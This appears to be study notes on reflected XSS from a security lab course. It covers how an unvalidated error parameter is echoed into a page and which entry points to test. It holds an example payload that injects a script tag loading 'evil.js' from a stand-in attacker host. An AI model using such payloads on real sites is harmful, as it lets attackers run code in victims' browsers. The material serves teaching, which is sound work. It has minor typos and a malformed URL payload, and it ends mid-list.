Reflected XSS

Reflected XSS

Reflected XSS happens when user-supplied data in an HTTP request is included in the webpage source without any validation.

Example Scenario:

A website where if you enter incorrect input, an error message is displayed. The content of the error message gets taken from the error parameter in the query string and is built directly into the page source.


hhtps://website.thm/?error=invalid input detected

<div class = "alert alert-danger"> 
	<p>Invalid input detected</p> 
</div>


The application doesn't check the contents of the error parameter, which allows the attacker to insert malicious code. 

hhtps://website.thm/?error=<script>src="https://attacker.thm/evil.js"></script>

<div class = "alert alert-danger"> 
	<p><script src="https://attacker.thm/evil.js"></script></p> 
</div>

How to test for Reflected XSS:

You'll need to test every possible point of entry; these include:

• Parameters in the URL Query String 
• URL File Path 
• Sometimes HTTP Headers (although unlikely exploitable in practice